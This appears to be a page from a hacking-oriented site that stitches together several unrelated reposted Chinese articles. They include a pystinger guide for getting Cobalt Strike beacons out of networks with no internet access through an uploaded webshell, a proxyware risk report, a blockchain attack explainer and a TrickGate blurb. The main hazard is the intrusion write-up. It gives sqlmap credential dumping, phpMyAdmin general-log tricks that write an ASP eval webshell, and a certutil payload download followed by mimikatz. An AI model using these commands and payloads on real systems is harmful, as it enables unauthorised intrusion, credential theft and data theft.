2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
    start D:/XXX/stinger_server.exe 192.168.3.11

    启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头
--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理
--proxy "socks5:127.0.0.1:1081"

测试

攻击机：192.168.1.89

假设我们在拿下一台目标主机，但是无法连接外网。

image-20220517144317558.png

使用 pystinger 工具进行 CS 上线，下载地址，通过 webshell 实现内网 SOCK4 代理，端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

image-20220517144354177.png

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

image-20220517144723957.png

image-20220517144741452.png

把 stinger_client 上传到 teamserver 服务器，-w 指定 proxy 的 url 地址运行。

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

image-20220517144922515.png

CS 新建监听器，设置为目标机器的内网 IP，端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

image-20220517145024937.png

生成木马，上传目标服务器并执行。可看到 CS 有新上线主机。

image-20220517145046489.png


转自于原文链接：https://forum.butian.net/share/1644

HireHackking

為了竊取用戶網絡，攻擊者會誘導用戶安裝proxyware程序，該程序會將設備的可用互聯網帶寬分配為代理服務器，這樣攻擊者可以將其用於各種任務，如測試、情報收集、內容分發或市場研究。

作為共享網絡的回報，安裝proxyware程序的用戶可以從向客戶收取的費用中獲得抽成。例如，Peer2Profit服務顯示，用戶通過在數千台設備上安裝該公司的程序，每月最高可以賺到6000美元。

趨勢科技的研究人員最近分析了幾個著名的“被動收入”應用程序，發現這些程序可能存在安全風險。所謂被動收入(Passive Income)，就是不需要花費多少時間和精力，也不需要照看，就可以自動獲得的收入。說白了就是不勞而獲，躺著賺錢！

網上有很多教人們如何通過共享閒置的計算能力或未使用的網絡帶寬來獲得“被動收入”。當用戶在他們的計算機上安裝這樣的程序時，不管願不願意，系統就會成為分佈式網絡的代理。這個分佈式網絡的運營商可以通過向其付費客戶銷售代理服務來賺錢。

儘管託管“被動收入”程序的網站會強調合法其自身的合法性，但我們發現此類程序可能會給下載者帶來安全風險。這是因為這些代理服務的一些付費客戶可能將其用於不道德甚至非法的目的。

在本文中，我們研究了幾個著名的“被動收入”應用程序，這些應用程序將會把它們的計算機變成住宅IP代理，這些代理被賣給客戶，用作“住宅IP代理”。這些應用程序通常通過推薦程序進行推廣，目前許多著名的YouTube和博客都在推廣他們。

我們還調查了將“被動收入”應用程序與第三方庫捆綁在一起的可疑開發商。這意味著並下載者不知道“被動收入”應用程序，而這些收入實際上都流向了開發者。這意味著，用戶無法控制使用其家庭/移動IP地址執行的活動。

通過共享未使用的帶寬就可以輕鬆在線賺錢？在博客和YouTube網站上有很多帖子教人們如何通過簡單的教程獲得“被動收入”。這些教程的開發者通常通過推薦來賺錢，並同時推廣幾個“被動收入”應用程序。

使用“網絡帶寬共享”盈利方案的公司包括HoneyGain、TraffMonitizer、Peer2Profit、PacketStream和IPRoyal Pawns等。這些公司為用戶提供了一種通過下載和運行他們的程序代理來被動地在線賺錢的方式。通常情況下，用戶將分享他們的連接並獲得積分，這些積分之後可以轉換成實際的貨幣。

1.png

公司通過共享網絡來宣傳被動收入

尋求收入的人將下載該程序來分享他們的帶寬並賺錢，但這些公司將帶寬賣給需要住宅代理服務的客戶。該公司網站列出了一些人們可能需要代理服務的原因：人口統計研究、繞開賭博和淘便宜貨的地理限制，或者出於隱私原因，等等。

這些公司很容易找到，在谷歌上簡單搜索“被動收入未使用帶寬”，立即產生IPRoyal Pawns, Honeygain, PacketStream, Peer2Profit, EarnApp和Traffmonetizer等名稱。一些人在論壇和討論區甚至建議同時安裝多個應用程序來賺更多的錢，或者運行多個虛擬機來增加潛在的利潤。

2.png

Quora上關於如何增加被動收入的帖子

與普通用戶相比，共享帶寬在被動收入中所佔的比例可能還不是最大的。根據一個博主分享的文章，推薦在博主收入中所佔的比例甚至更大(在這個圖表中超過50%)。

3.png

從被動收入、流量共享應用程序中獲得的收入佔比

儘管上圖中的數字顯而易見，但這位博主聲稱他每月大約賺20美元。但是用戶並不能保證能夠定期獲得如此低水平的收益。而且，作為這種不確定收入的交換，用戶被要求定期接受未知水平的風險。

劫持是怎麼發生的？這些“網絡帶寬共享”服務聲稱，用戶的互聯網連接將主要用於營銷研究或其他類似活動。因此，共享互聯網連接的人在網上賺錢的同時也成為了被營銷的對象。

4.png

使用帶寬共享聲明

但情況真如此嗎？為了檢查和了解潛在用戶加入此類程序可能面臨的風險，我們記錄並分析了來自幾個不同網絡帶寬共享服務的大量出口節點(出口節點是安裝了這些網絡帶寬共享服務的計算機)的網絡流量。

從2022年1月至9月，我們記錄了來自這些被動收入公司的出口節點的流量，並檢查了通過出口節點輸送的流量的性質。

首先，我們發現，來自其他應用程序合作夥伴的流量被輸送到我們的出口節點，並且大部分流量是合法的。我們看到了正常的流量，例如瀏覽新聞網站、收聽新聞流，甚至瀏覽在線購物網站。然而，我們也發現了一些可疑的聯繫。這些聯繫表明，一些用戶在某些國家從事可疑或可能非法的活動。

可疑活動的摘要如下表所示。我們根據相似性來組織這些活動，並指出我們觀察到這些活動的代理網絡。

5.png

在大多數情況下，應用程序發布者可能不會對使用其代理服務的第三方的可疑或惡意活動承擔法律責任。然而，那些安裝了“網絡帶寬共享”應用程序的人無法控制甚至監控通過其出口節點的流量類型。因此，這些網絡共享應用程序被歸類為風險程序應用程序，我們稱之為proxyware。

proxyware的可疑活動上表概述了我們觀察到的惡意和可疑活動，本節將進一步詳細介紹這些活動。

我們觀察到多個自動訪問第三方SMS PVA提供商的實例。什麼是SMS PVA服務？我們寫了一篇關於SMS PVA服務以及它們經常被錯誤使用的博客。 SMS PVA 服務是基於遍布各個國家的數千部被入侵的智能手機。有了這項服務,SMS PVA 用戶可以精確地註冊國家一級的賬戶,因此可以使用假裝來自目標國家的虛假賬戶發起活動。簡而言之，這些服務通常用於在線服務中的批量註冊帳戶。為什麼人們經常將它們與代理結合使用？這些帳戶通常綁定到特定的地理位置或地區，並且該位置或地區必須與註冊過程中使用的電話號碼相匹配。因此，SMS PVA服務的用戶希望他們的出口IP地址與號碼的位置相匹配，並且有時使用特定的服務（在服務僅在特定區域可訪問的情況下）。

這些大量註冊的賬戶（由住宅代理和SMS PVA服務提供幫助）通常被用於各種可疑的操作：針對個人用戶的社會工程和欺詐，以及濫用各種在線業務的註冊和促銷活動，可能導致數千美元的經濟損失。

潛在的點擊欺詐是我們從這些網絡中觀察到的另一種類型的活動。做點擊欺詐或靜默廣告網站，就是利用裝有“被動收入”程序的電腦作為出口節點，在後台“點擊”廣告。廣告商必須為無效點擊付費(沒有人真正看到廣告)，網絡流量看起來幾乎與普通用戶在家點擊廣告相同。

SQL注入是一種常見的安全掃描，它試圖利用用戶輸入驗證漏洞來轉儲、刪除或修改數據庫內容。有許多工具可以自動執行此任務。然而，在許多國家，未經適當授權進行安全掃描和未經網站所有者書面許可進行SQL注入掃描都是犯罪活動，可能會被起訴。我們觀察到許多試圖從許多“被動收入”程序中探測SQL注入漏洞的嘗試。這種流量是有風險的，分享他們的連接的用戶可能會被捲入法律調查。

我們觀察到的另一組具有類似風險的類似活動是工具掃描。這些掃描試圖利用各種漏洞訪問/etc/passwd文件，如果成功，則表明系統易受任意文件暴露的攻擊，並允許攻擊者獲取服務器上的密碼文件。黑客利用此類程序漏洞從易受攻擊的網站檢索任意文件。不用說，在沒有服務器所有者的書面許可的情況下進行此類活動是非法的。

爬取政府網站可能根本不違法，通常存在一些合理使用條款，要求用戶不要同時提出過多的查詢，許多網站通過使用驗證碼服務來使用技術手段來防止大量爬行。我們觀察到使用反驗證碼工具的自動化工具在試圖訪問政府網站時繞過這些限制。我們也見過從律師事務所和法院網站抓取法律文件的爬蟲程序。

對個人身份信息（PII）的抓取在所有國家都可能是非法的，但這種行為值得懷疑，因為我們不知道這些信息後來會被濫用。在研究中，我們看到一個可疑的爬蟲大量下載巴西公民的信息。這些信息包括姓名、出生日期、性別和CPF（相當於國家SSN）。顯然，如果對此類活動進行調查，“被動收入”程序用戶將是第一個接觸點，因為登錄這些網站的將是他們的IP地址。

註冊了大量社交媒體賬號的人可以將其用於多種用途，例如網絡垃圾郵件、詐騙活動以及傳播錯誤信息和宣傳假新聞的木馬。此類賬戶也經常被用來對商品和服務進行虛假評價。在收集的流量中，我們看到TikTok賬戶註冊了非常規電子郵件地址。儘管這本身並不違法，但安裝了“被動收入”程序的用戶可能會被要求證明自己的身份，或者在正常瀏覽活動中通過更多的“驗證你是人類”測試。這是因為有太多來自其家庭IP的註冊帳戶，他們可能被誤認為與這些活動有關聯。

如果你認為這些例子沒有說服力，那麼在2017年，一名俄羅斯公民被逮捕並被指控恐怖主義。此人正在運行Tor出口節點，有人利用它在反政府抗議期間發布支持暴力的信息。 Proxyware類似於Tor出口節點，因為兩者都將流量從一個用戶引導到另一個用戶。這個例子說明瞭如果你不知道使用你的計算機作為出口節點的人在做什麼，你會給自己帶來多大的麻煩。

其他未經用戶同意運行的proxyware變體在研究過程中，我們還發現了一組多餘的應用程序，它們是作為自由程序工具分發的。然而，在我們看來，這些應用程序正在秘密地將用戶的設備轉變為代理節點。這些應用程序似乎在設備上安裝了Proxyware功能，比如Globalhop SDK，但沒有明確通知用戶他們的設備將被用作被動出口節點。一些最終用戶許可協議(EULA)文件可能會明確提到包含Globalhop SDK或應用程序的出口節點功能，而其他文件則沒有。但是，在我們看來，僅在eula(很少有用戶會閱讀的文件)中包含通知並不能向用戶提供公平的通知，即安裝應用程序將導致未知第三方使用他們的設備作為出口節點。

6.png

剪貼板管理器的EULA告訴用戶它包含具有“代理利用功能”的SDK，並且用戶同意“共享部分互聯網”。

無論哪種情況，此類程序仍然會給用戶帶來風險，“被動收入”只會支付給應用程序開發者。程序用戶只能享受免費程序本身而沒有“被動收入”。此類程序的例子包括：

Walliant——一款自動壁紙更換程序；

Decacopy剪貼板管理程序——一個用於存儲用戶最近複製粘貼的內容的程序；

EasyAsVPN——通常由欺騙用戶安裝的額外程序；

Taskbar System——一個改變任務欄顏色的應用程序；

Relevant Knowledge——廣告程序；

RestMinder——一個提醒用戶休息的鬧鐘程序；

Viewndow——固定選定應用程序窗口的程序；

Saferternet——基於DNS的網絡過濾程序。

這些代理網絡產生的網絡流量類似於“被動收入”程序產生的流量，因為這兩種類型的程序都是其提供商的出口節點。我們觀察到以下惡意/有爭議的活動。

7.png

總結我們在本文中介紹了藉著“網絡帶寬共享”的幌子實施“被動收入”程序如何使用其安裝基地的住宅IP作為出口節點，以及惡意和可疑網絡流量可能給用戶帶來的風險。

通過允許匿名人員將你的計算機用作出口節點，如果他們執行非法、濫用或與攻擊相關的操作，你將承擔最大的風險。這就是為什麼我們不建議參加這樣的計劃。

“被動收入”提供商可能製定了某些自我約束的政策，但我們沒有看到任何證據表明這些提供商對路由到出口節點的流量進行監管。如果他們這樣做了，那麼我們看到的非常明顯的SQL注入流量應該已經被過濾掉了。如果這些提供商希望改進其策略，我們建議他們更加坦率地向程序用戶表明，因為他們沒權利控制其客戶的行為。

有一些措施可以確保攻擊和濫用受到限制，例如嚴格執行流量掃描、證書測試和其他技術，但執行這些策略是關鍵。我們就這些問題聯繫過的一些應用發行商回應稱，他們通過應用合作夥伴的KYC (know-your-customer)實踐來保護用戶。這提供了一些保護，防止濫用作為出口節點的設備，然而，這些政策可以被偽造，或者客戶可以找到規避它們的方法。

總而言之，這些應用程序的潛在用戶，特別是在proxyware服務的當前實現下，需要意識到他們正在將自己暴露在未知的風險中，以換取不確定和可能不穩定的潛在“被動收入”。以下是一些防範上述風險的安全措施：

1.了解“被動收入”程序的風險，並考慮將其從筆記本電腦、台式機和移動設備中刪除。

2.建議公司IT員工檢查並刪除公司計算機中的“被動收入”程序。

3.安裝專業保護套件，因為這些產品已將本文中列出的應用程序列為Riskware。這些產品還阻止“被動收入”應用程序下載惡意應用程序。

HireHackking

區塊鏈攻擊向量：最安全技術的漏洞（上）

3. 智能合約攻擊Apriorit 擁有從事智能合約開發和區塊鏈測試的團隊。我們已經積累了豐富的基於以太坊、EOS、NEO平台的智能合約漏洞分析和規避經驗。與智能合約相關的主要區塊鏈安全問題涉及源代碼、網絡虛擬機、智能合約運行時環境以及區塊鏈本身中的錯誤。讓我們看看這些攻擊向量中的每一個。

合約源代碼漏洞如果智能合約的源代碼存在漏洞，就會對簽署合約的各方構成風險。例如，2016 年以太坊合約中發現的錯誤使其所有者損失了8000 萬美元。 Solidity 中的一個常見漏洞提供了一種可能性，可以將控制權委託給其他智能合約中不受信任的功能，稱為重入攻擊。在此攻擊期間，合約A 從合約B 調用具有未定義行為的函數。反過來，合約B 可以調用合約A 的函數並將其用於惡意目的。

虛擬機中的漏洞以太坊虛擬機(EVM) 是一種基於分佈式堆棧的計算機，其中執行基於以太坊的區塊鏈的所有智能合約。 EVM 最常見的漏洞如下：

不可變缺陷——區塊鏈塊本質上是不可變的，這意味著智能合約一旦創建，就無法更改。但是，如果智能合約在其代碼中包含任何錯誤，它們也無法修復。網絡犯罪分子有可能發現並利用代碼漏洞來竊取Ether 或創建新的分叉，就像DAO 攻擊一樣。

加密貨幣在轉移過程中丟失——如果以太幣被轉移到一個沒有任何所有者或合同的孤立地址，這是可能的。

訪問控制中的錯誤——以太坊智能合約中存在一個遺漏修改器錯誤，允許黑客訪問合約中的敏感功能。

短地址攻擊——這是可能的，因為EVM 可以接受錯誤填充的參數。黑客可以通過向潛在受害者發送特製地址來利用此漏洞。例如，在2017 年對Coindash ICO 的一次成功攻擊中，對Coindash 以太坊地址的修改使受害者將他們的以太幣發送到黑客的地址。

此外，黑客可以通過應用其他典型的破壞區塊鏈技術的方法來破壞智能合約，包括DDoS、eclipse 和各種低級別攻擊。

然而，Cardano 和Zilliqa 等較年輕的區塊鏈使用不同的虛擬機：IELE、KEVM 等。這些新的區塊鏈聲稱在其協議中保證智能合約的安全性。

4.交易驗證機制攻擊與金融機構不同，區塊鏈只有在網絡中的所有節點都達成一致後才能確認交易。在包含交易的區塊被驗證之前，該交易被歸類為未驗證。然而，驗證需要一定的時間，這為網絡攻擊創造了一個完美的載體。

雙花是一種利用交易驗證機制的常見區塊鏈攻擊。區塊鏈上的所有交易都需要用戶驗證才能被確認為有效，這需要時間。攻擊者可以利用這種延遲來獲得優勢，並誘使系統在多個交易中使用相同的硬幣或代幣。

image.png

圖2. 雙花攻擊

以下是基於利用交易發起和確認之間的中間時間的最常見攻擊類型。

芬尼襲擊當一筆交易被預挖到一個區塊中，並且在該預挖區塊被釋放到網絡之前創建了一個相同的交易，從而使第二個相同的交易無效時，Finney 攻擊是可能的。

種族攻擊當攻擊者創建兩個相互衝突的交易時，就會執行競態攻擊。第一筆交易被發送給受害者，受害者無需等待交易確認即可接受付款（例如發送產品）。同時，將向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡，最終使第一筆交易無效。

矢量76Vector76 是之前兩次攻擊的組合。在這種情況下，惡意礦工創建兩個節點，其中一個僅連接到交換節點，另一個連接到區塊鍊網絡中連接良好的對等節點。之後，礦工創建兩筆交易，一筆高價值和一筆低價值。然後，攻擊者預挖並從交換服務中扣留一個包含高價值交易的區塊。在區塊公告之後，攻擊者迅速將預挖區塊直接發送到交易所服務。它與一些礦工一起將預挖區塊視為主鏈並確認此交易。因此，這種攻擊利用了這樣一個事實，即網絡的一部分看到攻擊者已包含在塊中的交易，而網絡的另一部分看不到該交易。

交易所服務確認大額交易後，攻擊者向主網發送小額交易，主網最終拒絕大額交易。結果，攻擊者的賬戶被記入了高價值交易的金額。儘管這種類型的攻擊成功的可能性很高，但它並不常見，因為它需要一個託管的電子錢包，該電子錢包在一次確認後接受付款，並需要一個節點來處理傳入的交易。

替代歷史攻擊另一種歷史攻擊——也稱為區塊鏈重組攻擊——即使在多次確認的情況下也可能發生，但需要黑客提供大量的計算能力。在這種情況下，惡意用戶向收件人發送交易，同時使用返回相同代幣的另一筆交易挖掘替代分叉。例如，即使接收方在n 次確認後認為交易有效並發送產品，如果攻擊者釋放更長的鏈並取回硬幣，接收方也可能會損失金錢。

最新的一次區塊鏈重組攻擊發生在2020 年8 月的Ethereum Classic上，當時一名礦工使用舊軟件並在挖礦時暫時無法訪問互聯網。當兩個版本的區塊鏈競爭網絡中節點的有效性並導致插入大約3000 個區塊時，重組就發生了。

51% 或多數攻擊當黑客控制了51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時，多數攻擊是可能的。這種攻擊最初是唯一已知的區塊鏈漏洞，在不久的過去似乎不切實際。然而，至少有五種加密貨幣——Verge 、 ZenCash、Monacoin、Bitcoin Gold 和Litecoin Cash——已經遭受了51% 的攻擊。在每一種情況下，網絡罪犯都收集了足夠的哈希算力來破壞網絡並賺取數百萬美元。

最近在2020 年8 月發生的對以太坊經典(ETC) 的51% 攻擊導致價值約560 萬美元的ETC 加密貨幣被雙花。顯然，黑客非常了解ETC 協議，並在四天內設法挖掘了4,280 個區塊，直到平台發現攻擊。事件發生僅五天后，ETC 就遭遇了第二次51% 攻擊，其中一名礦工進行了4000 個區塊的網絡重組。

image.png

圖3. 多數攻擊

不幸的是，所有小型加密貨幣仍面臨多數攻擊的風險。由於這些加密貨幣吸引的礦工較少，攻擊者只需租用計算能力即可獲得網絡的大部分份額。 Crypto51的開發人員試圖提醒人們注意破解較小加密貨幣的潛在風險。他們的網站顯示了對各種區塊鏈進行51% 攻擊的預期成本。

防止雙花攻擊的可能措施包括在監聽期間監控收到的交易、轉發雙花嘗試、插入其他節點以觀察交易以及拒絕直接傳入連接。

此外，還有一項稱為閃電網絡的創新技術，旨在解決交易驗證機制中的漏洞利用問題。該網絡允許用戶通過雙向支付渠道網絡即時驗證交易，而無需委託資金保管。但是，它仍然容易受到DDoS 攻擊，其中一次已經發生在2018 年3 月。

5、礦池攻擊對於像比特幣這樣的主要加密貨幣，個體礦工已經不可能賺取利潤，因此礦工通過創建礦池來統一他們的算力。這使他們能夠開採更多的區塊，並且每個人都能獲得一份獎勵。目前，最大的比特幣礦池是BTC.com、AntPool 和ViaBTC。根據Blockchain.com 的數據，它們加起來佔比特幣網絡總哈希率的52% 以上。

礦池是一個不錯的目標。惡意礦工試圖通過利用區塊鏈共識機制中常見的Web 應用程序漏洞來控制內部和外部的礦池。

以下是對礦池最常見的攻擊。

自私挖礦自私挖礦是指惡意礦工試圖通過在一段時間內不向網絡廣播挖出的區塊然後一次釋放幾個區塊，使其他礦工失去他們的區塊來增加他們的獎勵份額。防止此類攻擊的可能措施是將礦工隨機分配到礦池的各個分支，優先選擇時間戳較新的區塊，並在最大可接受時間內生成區塊。這種類型的攻擊也稱為塊扣留。

image.png

圖4. 自私挖礦攻擊

由於2014 年對Eligius礦池的自私挖礦攻擊，礦工損失了300 BTC。自私挖礦有很高的成功機會，並且可能發生在所有加密貨幣上。針對自私挖礦的可能預防措施包括只註冊受信任的礦工，並對現有的比特幣協議進行更改以隱藏部分工作量證明和完整工作量證明之間的差異。

預扣後分叉預扣後分叉(FAW) 是自私挖礦的一種變體，事實證明它對攻擊者更有利可圖。在FAW 攻擊期間，惡意礦工隱藏一個獲勝的區塊，然後丟棄它或稍後釋放它以創建一個分叉，具體取決於情況。由Ujin Kwon 領導的一組研究人員明確描述了這種攻擊的概念。

結論儘管區塊鏈的受歡迎程度仍在上升，但越來越多的針對區塊鏈的網絡攻擊可能對其聲譽產生負面影響。了解最常見的區塊鏈漏洞和攻擊類型對於關注區塊鏈安全並想知道首先要保護什麼的每個人來說都是必須的。

HireHackking

因为这个站是几个月前日的了，所以图片可能不全，也没办法再补图。

写这篇文章的时候，隔壁情侣正在鼓掌，声音贼响，导致我写的东西可能没有过一遍脑子，写的可能有点混乱。另外值得一提的是，为啥我们做安全的经常隔壁碰到这种人？

已知目标网站

c5x5u2i1vea13147.jpg

之前客户有给过这种网站，所以我记忆尤深，针对这种站一般你可以直接放弃正常测试流程了，因为经验告诉我，网站主站功能基本上很少有漏洞的，只能从旁站下手。

Ctrl+u查看一波没发现有什么存在泄漏的js，回过头发现发现网站右上角有个优惠活动大厅

omxsfjpvofc13150.jpg

打开后页面似曾相识

tyv0d4q2w4m13153.jpg

随便点开一个活动，好像可以随便提交文字，没有过滤，我信心满满输入xss，提交，然而两天过去了，并没什么叼用，我当时的心情真是像云像雾又像雨。

zi2j12x4j1513156.jpg

然而我又发现下面有个审核进度查询，打开后会让你输入用户名，既然有输入用户名，那应该就是有带入数据库查询，习惯性加了个’点击查询，10秒过去了，没响应，我懵了，输入正常不存在的账号测试，是会弹出记录的，但是加单引号查询却一点响应都没有。

F12-network抓包，发现是有发送请求的，很明显了，有注入，而且报错是页面是thinkphp，从最下角看版本是3.2.3，这个版本真的是hc的最爱，从色情到贷款平台，再到菠菜都是这个版本的thinkphp。

pnbhamds0iq13158.jpg

先注入一波试试

keft5ssvnj513162.jpg

抓包Sqlmap一波拿到了管理员账号密码，突然我意识到，我没有后台地址，拿到了也没叼用。

Fofa一波得到真实ip，发现999端口存在phpmyadmin服务，6588有一个标题为护卫神丶主机大师的asp站。目录爆破，端口扫描，子域名挖掘，都没有找到后台地址。

kfphc3duppm13165.jpg

Os-shell成功，但是不管我输入什么都没反应。

Sql-shell也一样，仔细观察发现，网站路径是装在护卫神的。

f0blqlfag0q13168.jpg

有可能是护卫神拦截了，当时我还疑惑，这php的站，你用护卫神是什么意思。

等到十分钟后百度了一下hwshostmaster，我才知道我是多么无知，原来护卫神不是光有waf，他还有一个叫主机大师的服务，大概功能与phpstudy相同。

本地安装观察，发现主机大师默认安装后会在999端口启动phpmyadmin，6588端口则启动主机大师默认的管理页面，与我观察的目标ip端口一致。

phzh4bkjs4y13173.jpg

既然目标站有phpmyadmin，那我就可以尝试使用sqlmap枚举一下对方数据库账号与密码hash。

Sqlmap –r sql.txt --string="Surname" --users --password

Sqlmap枚举出来了root与test，root的密码没有破解出来，但是test的密码破解出来为1234。登陆成功。

qy5t550d2u113176.jpg

关于这种情况拿shell，木神的黑白天公众号里有篇文章<phpMyAdmin 渗透利用总结

>已经写的很详细了，木神看到这篇文章麻烦找我结一下广告费。

mysql数据库getshell一般有两种方法，into outfile，导出日志。

根据注入报错页面的文件地址

fxqjdpl20vr13180.jpg

构造语句
select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'
报错#1 - Can't create/write to file，应该是没有权限

ecn4phtcxqw13184.jpg

尝试使用日志写入，先开启日志，然后

set global  general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"
好像还是不行，我裂开了。

43ihub54ays13188.jpg

突然我想到，既然这个wwwroot目录没有权限，那么护卫神主机大师管理页面是否可以利用一下呢 ，翻了一下本地安装的主机大师文件，可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web，尝试修改日志

Set global  general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"
成功。

jg12riu2cfb13192.jpg

然后执行
select “<%eval request("chopper")%>”

访问http://xxx.xxx.xxx.xxx:6588/1.asp报错404，这个问题难了我好久，后来我才发现，需要把日志文件换成其他的，当前日志文件才可以访问。Cknife连接成功

qtrcvufozre13196.jpg

Whoami发现是system权限，那么剩下的就简单了，为了防止护卫神查杀，生成了个msf免杀马，通过certutil下载，然后执行，msf上线，然后迁移进程，load mimikatz，一套下来拿到了远程账号密码，脱裤打包源码，提交给客户，完事。

总结：1.主站无任何漏洞，对旁站下手，这里从优惠活动资助大厅，发现有注册页面，可尝试嵌套在线xss脚本获取管理员cookie信息，但并没有获取到 cookie2.在审核进度查询出，输入真实存在的用户名加单引号，发现页面没有相应，F12发现，有页面报错，是thinkphp，版本为3.2.33.通过sqlmap进行注入，获取到用的hash值，这里获取到root和test的hash值，能解密出test的hash值。Sqlmap –r sql.txt --string="Surname" --users --password4.通过fofa查询目标网站对应的IP的其他端口，发现存在999和6588端口，其中999位phpmyadmin端口，6588位护卫神管理界面。5.通过test进入phpmyadmin后台，又根据注入报错显示的网站物理路径，这里可以通过into out导入方法写入webshell6.首先写入到web目录下，显示没有权限select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'7.开启log日志，发现还是失败set global  general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"8.既然wwwroot目录没有权限，那么护卫神主机大师管理页面是否可以利用一下呢 ，翻了一下本地安装的主机大师文件，可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web，尝试修改日志Set global  general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"9.然后执行select “<%eval request("chopper")%>”10.通过knife成功连接


转自原文连接： https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486068&idx=2&sn=4e32251aaf8c25efee653b3314a05a29&chksm=cfa6ae67f8d127715b23c7b8403a08ccfac2e1bff2ac68030401d54698bcb10cd637a55f7d15&scene=178&cur_album_id=1553386251775492098#rd
HireHackking

TrickGate最初於2016年7月被發現，這種基於外殼代碼（shellcode）的打包器（packer）作為一項服務來提供，用於隱藏惡意軟件以免被端點檢測和響應（EDR）以及殺毒軟件發現。

在過去六年間，TrickGate 被用來部署最臭名昭著的惡意軟件，比如Cerber、Trickbot、Maze、Emotet、REvil、Cobalt Strike、AZORult、Formbook和AgentTesla 等。

